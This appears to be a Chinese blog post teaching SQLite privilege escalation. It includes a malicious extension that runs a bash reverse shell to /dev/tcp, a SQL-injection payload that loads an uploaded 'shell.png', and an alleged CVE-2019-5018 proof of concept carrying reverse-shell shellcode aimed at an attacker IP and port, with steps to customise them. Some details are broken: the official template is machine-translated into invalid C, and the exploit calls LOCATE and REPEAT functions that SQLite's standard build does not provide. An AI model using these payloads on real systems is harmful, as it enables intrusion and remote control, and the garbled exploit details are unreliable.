SQLite提权

SQLite 是轻量级嵌入式数据库,提权主要通过以下方式:

  1. 利用 load_extension 功能加载恶意动态库(.so/.dll),执行任意代码。
  2. 利用 SQLite 历史漏洞(如 CVE-2019-5018 缓冲区溢出)触发代码执行。
  3. 利用 SQLite 数据库文件权限配置不当,篡改数据影响高权限进程逻辑。

利用load_extension扩展功能提权(最常见)

SQLite 的load_extension函数可加载外部动态库(.so/.dll),若该功能开启且进程权限高,可加载恶意库实现提权。

  • 前提条件:
    1. load_extension功能未禁用(默认禁用,需显式开启);
    2. 运行 SQLite 的进程(如 Web 服务器)权限较高;
    3. 低权限用户可执行自定义 SQL。

前置确认

-- SQLite终端执行 PRAGMA compile_options; -- 查看是否包含ENABLE_LOAD_EXTENSION SELECT load_extension('test'); -- 无报错则功能开启

操作

写一个外部库文件->调用外部库
以下有官网模板

/* 在此处添加标题注释 */
#include <sqlite3ext.h> /* 不要使用 <sqlite3.h>! */
SQLITE_EXTENSION_INIT1
/* 在此处插入您的扩展程序代码 */
#ifdef _WIN32
__declspec(dllexport)
#endif
/* TODO:更改入口点名称,将“extension”替换为
**文本源自共享库文件名,如下所示:复制所有内容
** 文件名中最后一个“/”之后到第一个“/”之后的ASCII字母字符
**接下来的“.”,将每个字符转换为小写,并且
** 如果前三个字符是“lib”,则将其丢弃。
*/
int sqlite3_extension_init(
  sqlite3 *db,
  字符 **pzErrMsg,
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);
  /* 在此处插入对以下情况的调用
  ** sqlite3_create_function_v2(),
  ** sqlite3_create_collat​​ion_v2(),
  ** sqlite3_create_module_v2(),和/或
  ** sqlite3_vfs_register()
  ** 注册您的扩展程序添加的新功能。
  */
  返回 rc;
}

例如写入

#include <sqlite3ext.h>
#include <stdlib.h>
SQLITE_EXTENSION_INIT1
int sqlite3_extension_init(sqlite3 *db, char **errmsg, const sqlite3_api_routines *api) {
  SQLITE_EXTENSION_INIT2(api);
  system("/bin/bash -i >& /dev/tcp/你的IP/端口 0>&1"); // 反弹shell
  return 0;
}

编译为.so 文件:

gcc -fPIC -shared -o malicious.so malicious.c -lsqlite3

加载恶意库提权:
SELECT load_extension('/path/to/malicious.so');

/download?filename=1'||load_extension('/app/img/1664806144shell.png');--

1'闭合
||连接传入语句

https://cloud.tencent.com/developer/article/2288065

CVE-2019-5018

本质是 SQLite 处理 LOCATE() 函数(字符串查找函数)的参数时,对字符串长度的计算逻辑存在致命错误,导致堆内存越界写入,覆盖其他数据,进而触发任意代码执行。

要求

  • 目标系统的 SQLite 版本 ≤ 3.27.2(可通过 sqlite3 --version 验证);
  • 攻击者能构造并执行恶意 SQL 语句(常见场景:Web 应用的 SQLite 注入、本地低权限用户执行 SQLite 命令);
  • SQLite 进程运行权限较高(如 root/Administrator,否则即使触发漏洞也无法提权);
  • 目标系统未开启严格的内存保护(如 ASLR、PIE、Heap Canary 等,这些防护会增加利用难度,但并非无法绕过)。

漏洞验证

-- CVE-2019-5018 最简触发语句 SELECT LOCATE(REPEAT('A', 1000), '', -1);

执行后,SQLite 进程会立即崩溃(段错误),原因是堆缓冲区溢出覆盖了关键内存,程序无法正常执行。

过程

#include <stdio.h>
#include <sqlite3.h>

// 反弹 shell 的 shellcode(Linux x86_64,替换为你的 IP 和端口)
unsigned char shellcode[] = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc9\x48\x83\xc0\x29\x48\x83\xc2\x2b\x48\x83\xf6\x02\x48\x83\xff\x06\x48\x83\xf9\x02\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\x0f\x05";

int main() {
    sqlite3 *db;
    char *errmsg;
    char sql[4096];

    // 打开 SQLite 数据库(内存数据库)
    if (sqlite3_open(":memory:", &db) != SQLITE_OK) {
        printf("数据库打开失败:%s\n", sqlite3_errmsg(db));
        return -1;
    }

    // 构造恶意 SQL 语句:用 shellcode 填充溢出缓冲区
    snprintf(sql, sizeof(sql), 
        "SELECT LOCATE(REPEAT('%s', 1000), '', -1);", 
        shellcode);

    // 执行恶意 SQL,触发漏洞
    printf("执行恶意 SQL...\n");
    sqlite3_exec(db, sql, NULL, NULL, &errmsg);

    // 清理
    sqlite3_close(db);
    return 0;
}

编译执行

# 编译 PoC gcc -o sqlite_exp sqlite_exp.c -lsqlite3 # 执行(需在授权环境下) ./sqlite_exp
// 反弹Shell Shellcode:Linux x86_64,替换 ATTACKER_IP 和 ATTACK_PORT 为你的值
unsigned char shellcode[] = 
// 1. 初始化寄存器(清空)
"\x48\x31\xc0"              // xor rax, rax
"\x48\x31\xd2"              // xor rdx, rdx
"\x48\x31\xf6"              // xor rsi, rsi
"\x48\x31\xff"              // xor rdi, rdi
"\x48\x31\xc9"              // xor rcx, rcx
// 2. 创建TCP Socket (sys_socket = 41)
"\x48\x83\xc0\x29"          // add rax, 0x29 (rax=41)
"\x48\x83\xf6\x02"          // add rsi, 0x2 (SOCK_STREAM)
"\x48\x83\xff\x02"          // add rdi, 0x2 (AF_INET)
"\x0f\x05"                  // syscall (socket(AF_INET, SOCK_STREAM, 0))
// 3. 保存socket fd到rbx (rax返回socket fd)
"\x48\x89\xc3"              // mov rbx, rax
// 4. 构造connect的参数(sockaddr_in结构体)
"\x48\x31\xd2"              // xor rdx, rdx
"\x48\x89\xd6"              // mov rsi, rdx
"\x48\xc7\xc6\x01\x02\x03\x04"  // mov rsi, 0x04030201 (ATTACKER_IP: 1.2.3.4,需替换)
"\x66\xc7\xc2\x11\x5c"      // mov dx, 0x5c11 (ATTACK_PORT: 4444,需替换,网络字节序)
"\x48\xc7\xc0\x02\x00\x00\x00"  // mov rax, 0x2 (AF_INET)
"\x48\x89\x44\x24\x10"      // mov [rsp+0x10], rax
"\x48\x89\x74\x24\x08"      // mov [rsp+0x8], rsi (IP)
"\x66\x89\x54\x24\x06"      // mov [rsp+0x6], dx (PORT)
"\x48\x89\xe7"              // mov rdi, rsp (指向sockaddr_in)
"\x48\x83\xc2\x10"          // add rdx, 0x10 (sizeof(sockaddr_in))
"\x48\x31\xc0"              // xor rax, rax
"\x48\x83\xc0\x2a"          // add rax, 0x2a (sys_connect = 42)
"\x0f\x05"                  // syscall (connect(socket_fd, &sockaddr_in, 16))
// 5. 重定向标准输入/输出/错误到socket (dup2 = 33)
"\x48\x31\xc0"              // xor rax, rax
"\x48\x83\xc0\x21"          // add rax, 0x21 (dup2=33)
"\x48\x89\xfe"              // mov rsi, rdi (rsi=socket_fd)
"\x48\x31\xff"              // xor rdi, rdi (rdi=0: stdin)
"\x0f\x05"                  // syscall (dup2(socket_fd, 0))
"\x48\x31\xc0"              // xor rax, rax
"\x48\x83\xc0\x21"          // add rax, 0x21
"\x48\xff\xc7"              // inc rdi (rdi=1: stdout)
"\x0f\x05"                  // syscall (dup2(socket_fd, 1))
"\x48\x31\xc0"              // xor rax, rax
"\x48\x83\xc0\x21"          // add rax, 0x21
"\x48\xff\xc7"              // inc rdi (rdi=2: stderr)
"\x0f\x05"                  // syscall (dup2(socket_fd, 2))
// 6. 执行/bin/bash (execve = 59)
"\x48\x31\xc0"              // xor rax, rax
"\x48\x83\xc0\x3b"          // add rax, 0x3b (execve=59)
"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"  // mov rbx, 0x68732f2f6e69622f (/bin//sh)
"\x48\xc1\xeb\x08"          // shr rbx, 0x8
"\x53"                      // push rbx
"\x48\x89\xe7"              // mov rdi, rsp
"\x48\x31\xd2"              // xor rdx, rdx
"\x52"                      // push rdx
"\x48\x89\xe6"              // mov rsi, rsp
"\x0f\x05";                 // syscall (execve("/bin/sh", ["/bin/sh"], NULL))

1. 转换攻击者 IP 为十六进制(网络字节序)

比如你的攻击机 IP 是 192.168.1.100

  • 拆分:192``168``1``100
  • 转十六进制:0xc0``0xa8``0x01``0x64
  • 网络字节序(小端)拼接:0x6401a8c0
  • 替换 Shellcode 中 0x040302010x6401a8c0,对应代码段:c运行
"\x48\xc7\xc6\x64\x01\xa8\xc0"  // mov rsi, 0x6401a8c0 (192.168.1.100)

2. 转换端口为十六进制(网络字节序)

比如你要监听的端口是 4444

  • 十进制 4444 转十六进制:0x115c
  • 网络字节序无需反转(端口是 2 字节),直接替换 Shellcode 中 0x5c110x115c,对应代码段:c运行
"\x66\xc7\xc2\x5c\x11"      // mov dx, 0x115c (端口4444)

小工具:可以用在线工具(如「进制转换 + 网络字节序转换」)快速生成,避免手动计算出错。

利用 SQLite 文件权限配置不当提权

SQLite 是文件型数据库(所有数据 / 逻辑都存储在单个 .db 文件中),而非服务型数据库(如 MySQL/PostgreSQL)。这类提权的核心逻辑是:

低权限用户通过修改 / 替换「高权限进程依赖的 SQLite 数据库文件」,让高权限进程执行数据库中被篡改的恶意逻辑,从而间接获得高权限操作能力。

触发条件(缺一不可)

  1. 文件权限过松:目标 SQLite 数据库文件(.db)的权限配置错误,低权限用户拥有「读 + 写」甚至「执行」权限(如 Linux 下权限为 777/666,Windows 下 Everyone 组有修改权限);
  2. 高权限依赖:有高权限进程(root/Administrator、SYSTEM 等)定期读取 / 执行该 SQLite 数据库中的内容(如 Web 服务、系统定时任务、后台服务);
  3. 无数据校验:高权限进程直接使用数据库中的数据 / 逻辑,未做任何校验(如直接拼接 SQL、执行数据库中存储的命令字符串);
  4. 低权限访问:攻击者拥有目标系统的低权限账户,能访问到该 SQLite 数据库文件的存储路径。

需要自己寻找目标文件

posted @ 2026-02-14 01:33  林u  阅读(28)  评论(0)    收藏  举报